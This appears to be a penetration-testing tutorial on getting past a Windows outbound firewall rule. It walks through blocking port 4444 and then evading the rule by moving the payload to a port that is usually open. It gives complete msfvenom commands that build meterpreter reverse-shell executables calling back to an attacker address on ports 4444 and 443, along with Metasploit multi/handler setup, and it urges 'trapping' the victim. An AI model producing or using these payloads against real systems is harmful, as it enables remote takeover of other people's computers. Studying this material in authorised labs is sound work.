In
previous the firewall penetration
testing article you might have read how firewall is used for blocking any
particular port in a network to prevent hackers or malicious software from
gaining access to your PC. This article is written to describe that how an
attacker can bypass firewall rules and try to make unauthorized access of
victim’s PC.
Target: windows PC
Attacker: Kali
Linux
Lets start!!!
Open window firewall control panel and select Advance setting to configure firewall
rules as shown in screenshot.
Go
to outbound rules to configure new rule for firewall to add security
layer in network to secure it form attackers.
Select
the type of firewall rule to be created click radio button for option Port that controls connections for a
TCP and UDP port then click on next.
Now
specify the protocol and port to which rule is applies therefore I choose TCP and then specify port 4444 on which this rule will
applies and then click on next.
Select all
check boxes when this rule applies.
Here
give the name to your own specified rule.
You can see in the screenshot I had named it block port 4444 and then click on finished.
Here
you can see the new outbound rule is added into the list of outbound rules.
Hence victim has defense himself from establishing connection with port 4444,
now if attacker try to connect with victim through port 4444 then it might be
possible that attacker doesn’t receive any reverse connection.
Now let’s examine when an attacker tries to send
malicious file using port 4444, will it work or not. Does attacker able to
receive reverse connection of victim’s pc?
Here I have generated a malicious file using msfvenom in the format of .exe file and
then send this 4444.exe file to
victim and start multi handler at
background.
msfvenom -p
windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe >
/root/Desktop/4444.exe
Now let’s find whether we will succeed or get failed to
achieve reverse connection of victims PC.
use multi/handler
msf exploit(handler) > set payload
windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost
192.168.1.102
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
OOPS!!!
No response
It
means we get failed in establishing connection between victim and attacker. Now
as we know victim has protected himself from connecting with port 4444.
Now
whenever you face such type of restriction for establishing connection with
victim then do not get disappoint think twice what is the aim of an attack? He
only wants to trap victim and want to establish a connection.
Now
send your malicious file on those ports which always left open for incoming and
outgoing connection. For example port
80, port 443, port 445 and etc.
When
again an attacker tries to send malicious file using port 443. Does attacker
able to receive reverse connection of victim’s pc?
msfvenom -p
windows/meterpreter/reverse_https lhost=192.168.1.102 lport=443 -f exe >
/root/Desktop/443.exe
Start multi handler and send 443.exe to victim.
use multi/handler
msf
exploit(handler) > set payload windows/meterpreter/reverse_http
msf
exploit(handler) > set lhost 192.168.1.102
msf
exploit(handler) > set lport 443
msf
exploit(handler) > exploit
GREAT!!! Attack is successful
We successfully got meterpreter session of victim’s PC
inside the metasploit framework.
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